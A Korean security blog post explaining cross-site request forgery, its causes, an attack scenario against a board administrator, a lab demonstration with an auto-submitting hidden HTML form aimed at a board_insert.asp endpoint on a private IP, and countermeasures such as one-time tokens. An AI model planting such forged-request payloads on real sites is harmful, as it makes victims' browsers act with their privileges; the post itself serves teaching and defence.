2016년 9월 5일 월요일

[Web] CSRF 공격 가능 여부

1. 개요


1.1 CSRF(Cross Site Request Forgery)이란?


- 공격자가 작성해 놓은 악성스크립트 [사이트에서 제공하는 기능을 피해자의 웹 브라우저에서 요청] 을 통해서 일어나는 악의적인 공격방식이다.
- 피해자는 공격자가 게시한 글을 읽었을 때 악성스크립트에 의한 요청이 서버로 보내지게 되고 서버는 피해자의 권한 내에서 해당 악성스크립트 요청을 처리하게 된다.

1.2 CSRF(Cross Site Request Forgery) 발생 원인

- 개별 링크와 폼이 사용자 별로 예측 가능한 토큰을 사용할 때 발생 한다. 예측 불가능한 토큰이 있다면 공격자는 요청 메시지를 변조 할 수 없지만, 예측 가능한 토큰이 있다면 공격자는 요청 메시지를 변조할 수 있다.
- 인증이나 세션, 쿠키 등 모든 웹 사이트에서 인증된 사용자가 보내는 데이터는 정상적인 경로를 통한 파라미터 요청으로 판단한다. 즉,  정상적인 요청과 비 정상적인 요청을 구분하지 못한다.

1.3 CSRF(Cross Site Request Forgery)와 XXS(Cross Site Scripting) 차이

- XSS: XSS는 웹 브라우저에 악성 스크립트를 삽입해 데이터를 수집하거나 브라우저의 특정 동작을 유발하며, 악성스크립트가 사용자 클라이언트에서 실행 된다.
- CSRF: CSRF는 인증 완료 된 사용자의 권한으로 악성 스크립트를 서버에 요청하여 공격자가 원하는 명령을 사이트로 전송한다.

1.4 CSRF(Cross Site Request Forgery) 공격 과정


  1. 공격자는 CSRF 스크립트가 포함된 게시물을 등록한다.
  2. 사용자는 CSRF 스크립트가 포함된 페이지의 게시물 열람을 요청한다.
  3. 게시물을 읽은 사용자의 권한으로 공격자가 원하는 요청이 발생한다.
  4. 공격자가 원하는 CSRF 스크립트 결과가 발생한다.

2. 시나리오


  1. 공격자는 게시판에 관리자가 관심을 가질 수 있는 제목으로 CSRF 스크립트가 포함된 게시물을 등록한다.
  2. 관리자는 확인이 필요한 게시물로 파악하여, CSRF 스크립트가 포함된 게시물을 확인한다.
  3. 게시물을 읽은 관리자는 CSRF 스크립트가 포함된 것을 알지 못한 채 게시물을 확인한다. 하지만, 관리자의 권한으로 공격자가 원하는 CSRF 스크립트 요청이 발생한다.
  4. 공격자가 원하는 CSRF 스크립트 결과가 발생하여, 관리자 및 사용자의 피해가 발생한다.

3. 실제 공격


웹 어플리케이션

1. XSS 공격 테스트를 통해 CSRF 공격 가능성을 확인



웹 사이트의 게시판에 스크립트를 삽입하여 사용자가 해당 글을 클릭하면 스크립트가 실행 되는지 확인한다.



XSS 공격 테스트를 통해 CSRF 공격 가능성을 확인 했다.

2. 프록시를 통해 웹 사이트의 게시물을 등록하는 스크립트 확인


프록시를 통해 웹 사이트의 게시물을 등록한다.



파로스 툴을 이용하여 'board/board_insert.asp' 에서 POST 방식으로 등록된 것을 확인한다.




게시물 등록 시 필요한 데이터 변수명 들을 확인한다.

3. CSRF 스크립트가 포함된 게시물 등록


<body onload="document.form.submit();">
<form METHOD ="POST" action="http://192.168.137.143:81/board/board_insert.asp" name="form" enctype="multipart/form-data">
  <input type=hidden name="cmd2" value="write">
  <input type=hidden name=info_idx value="4">
  <input type=hidden name="p_from" value="">
  <input type=hidden name="re" value="">
  <input type=hidden name="sr" value="">
  <input type=hidden name="k" value="">
  <input type=hidden name="w" value="">
  <input type=hidden name="page" value="1">
  <input type=hidden name="gubun" value="qna">
  <input type=hidden name="b_com" value="yes">
  <input type=hidden name="info_title" value="제목 입력">
  <input type=hidden name="info_name" value='작성자 입력'>
  <input type=hidden name="info_pwd" value="비밀번호 입력">
  <input type=hidden name="info_content" value="게시물 내용 입력">
</form>


파로스 툴을 이용하여 확인한 결과를 이용하여 위와 같은 스크립트가 포함된 게시물을 등록한다. 관리자는 확인이 필요한 게시물로 파악하여 게시물을 확인한다.


관리자는 CSRF 스크립트가 포함된 게시물을 확인시 위와 같이 관리자의 권한으로 게시물이 등록 되게 된다.


관리자의 권한으로 공격자가 원하는 CSRF 스크립트 요청이 발생한다.


4. 대응방안


  1. 서버에서 쿠키 이외의 다른 파라미터 값으로 추가 인증을 처리
    - 중요 action을 처리 할 때, 추가 인증 수단을 사용한다면 공격은 불가능하다.
  2. XSS 스크립트의 실행 방지
    - XSS 취약점이 존재하지 않더라도 스크립트를 실행시킬 수 있기 때문에 XSS만 막았다고 해서 CSRF를 막았다고는 할 수는 없다.
  3.  값이 매번 바뀌는 one TIME 값 사용
    - 인증 값을 알아내는것이 힘들고, 사용자 마다 매번 인증 값이 바뀐다. 쿠키가 아닌 다른 형태의 매번 바뀌는 인증 값을 사용한다.
  4. IPS나 웹 방화벽을 사용
    - CSRF 스크립트는 정상적인 HTML 스크립트 이기 때문에 보안 솔루션으로는 방어를 할 수 없고 중요 공격 로직을 파악하고 분석하여 안전한 웹 어플리케이션을 개발한다.

[출처]

http://blog.naver.com/limjongmin15/40161766681
http://blog.naver.com/axlovelee/130169545811
http://tm-csc.tistory.com/entry/7-ebHacking%EC%9B%B9%ED%95%B4%ED%82%B9-CSRF
http://cafe.naver.com/bwys/545
http://blog.daum.net/sysnet924/277

댓글 없음:

댓글 쓰기